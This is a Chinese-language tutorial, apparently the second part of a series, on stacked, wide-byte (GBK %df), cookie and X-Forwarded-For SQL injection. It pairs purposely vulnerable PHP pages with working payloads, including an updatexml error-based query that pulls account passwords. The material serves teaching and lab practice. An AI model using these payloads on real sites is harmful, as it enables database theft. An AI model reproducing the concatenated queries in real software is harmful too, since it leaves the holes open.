上一篇文章中,对union注入、报错注入、布尔盲注等进行了分析,接下来这篇文章,会对堆叠注入、宽字节注入、cookie注入等进行分析。第一篇文章地址:SQL注入原理及代码分析(一)
若是想要了解Access的详细手工注入过程,能够看个人这篇文章:http://www.javashuo.com/article/p-kgpywxsu-nb.html
若是想要了解MySQL的详细手工注入过程,能够看个人这篇文章:http://www.javashuo.com/article/p-nmtkbjqi-nb.html
若是想要了解SQL server的详细手工注入过程,能够看个人这篇文章:http://www.javashuo.com/article/p-uhllaflr-nb.htmlphp
SQL注入漏洞的产生须要知足两个条件html
先说一下堆叠查询,堆叠查询能够执行多条语句,多语句之间以分号隔开。堆叠注入就是利用这个特色,在第二条SQL语句中构造本身要执行的句子。
而后看代码前端
<?php try { $conn = new PDO("mysql:host=localhost;dbname=dvwa", "root", "XFAICL1314"); $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $stmt = $conn->query("SELECT * FROM users where `user_id`='" . $_GET['id']."'"); $result = $stmt->setFetchMode(PDO::FETCH_ASSOC); foreach ($stmt->fetchAll() as $k => $v) { foreach ($v as $key => $value) { echo $value; } } $dsn = null; } catch (PDOException $e) { echo "error"; } $conn = null; ?>
在堆叠注入页面中,程序获取GET参数id,使用PDO的方式进行数据查询,可是仍是将id拼接到SQL语句中,致使POD没起到预编译的效果。程序仍然存在SQL注入。使用PDO执行SQL语句时,能够执行多条语句,但只返回第一条执行的结果。因此第二条语句中可使用时间盲注等来会获取数据。时间注入上一篇文章分析了。
因此我们构造的语句为:
';select if(substr(user(),1,1)=0x72,sleep(5),1)%23
咱们发现构造的时间注入语句成功执行,以后能够经过这种方法猜解出,库名,表名,字段及内容。mysql
先说一下宽字节注入原理,若是咱们注入的参数为字符型,咱们构造本身的SQL语句的时候须要用单引号闭合前面的SQL语句,可是我们输入的单引号被转义(反斜杠)了,致使参数没法逃逸单引号的包围,通常状况是没有SQL注入的,不过有一个特例,那就是当数据库的编码为GBK时,可能存在宽字节注入,具体操做是先在url后添加%df,在添加单引号,由于反斜杠的编码为%5c,而在GBK编码中,%df%5c是繁体字"綅"。因此单引号逃逸,就能够执行我们构造的SQL语句了。
而后看代码web
<?php $conn = mysql_connect('localhost','root','XFAICL1314') or die('abd!'); mysql_select_db('dvwa',$conn) OR emMsg("数据库链接失败"); mysql_query("SET NAMES 'gbk'",$conn); $id = addslashes($_GET['id']); $sql="select * from users where user_id='$id'limit 0,1"; $result = mysql_query($sql,$conn) or die(mysql_error()); $row = mysql_fetch_array($result); if($row) { echo $row['user'].":".$row['password']; } else { print_r(mysql_error()); } ?> </font> <?php echo "<br><br>SQL : ".$sql."<br><br>"; ?>
在宽字节注入页面中,程序获取GET参数id,并对参数id使用addslashes()转义,而后拼接到SQL语句中,进行查询。如今进行尝试。
构造语句:%df' and 1=1%23
咱们发现单引号成功逃逸,以后的过程就是和union注入同样了,猜表,猜字段,得到数据。sql
先看代码数据库
<?php $id=$_COOKIE['id']; $value="1"; setcookie("id",$value); $con=mysqli_connect("localhost","root","XFAICL1314","dvwa"); if(mysqli_connect_error()) { echo "链接失败:". mysqli_connect_error(); } $result = mysqli_query($con,"select * from users where `user_id`=".$id); if (!$result){ printf("Error:%s\n",mysqli_error($con)); exit(); } $row= mysqli_fetch_array($result); echo $row['user'].":". $row['password']; echo "<br>"; ?>
在cookie注入页面中,程序经过$_COOKIE获取到参数id,并直接将id拼接到select语句中进行查询,若是有结果,将解惑输出到页面。
咱们打开页面,发现url中没有GET参数。经过抓包发现参数id在cookie中。
接着构造语句:and 1=2
拼接到cookie中,发现报错了,能够注入,以后也是用union注入的一些语句。
包括用order by 判断字段,接着使用联合查询。获得表名,字段名和数据。
cookie注入还有一种状况,那就是,程序用$_REQUEST[]来接收用户的输入,可是程序的防护程序只是对GET和POST接收的输入作了防护。没考虑cookie,这就致使了cookie注入。和上面的操做方式同样,只须要抓包,将有注入点的参数移到cookie中就能够了。后端
XFF注入原理是经过修改X-Forwarded-For头对带入系统的dns进行sql注入,从而获得网站的数据库内容。X-Forwarded-For:简称XFF头,它表明客户端,也就是HTTP的请求端真实的IP。
这里用墨者学院的XFF注入靶场来作演示。
打开靶场,发现是登录页面,随便输入帐号和密码。发现返回客户机ip,猜想是由XFF控制。
抓包,添加XFF头,改成1.1.1.1,发现也更改,说明存在XFF注入。
接着使用报错注入的方法,用updataxml()等函数将咱们须要的数据查询出来,详细查询过程这里就不写了,查询到的帐号密码的语句为:安全
' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from user limit 0,1) ,0x7e),1) or '1'='1
两篇文章将常见的几种SQL注入都简单分析了一遍,并构造了相关有缺陷的代码用来加深理解。但愿对你们有所帮助。
参考文献:《Web安全攻防》cookie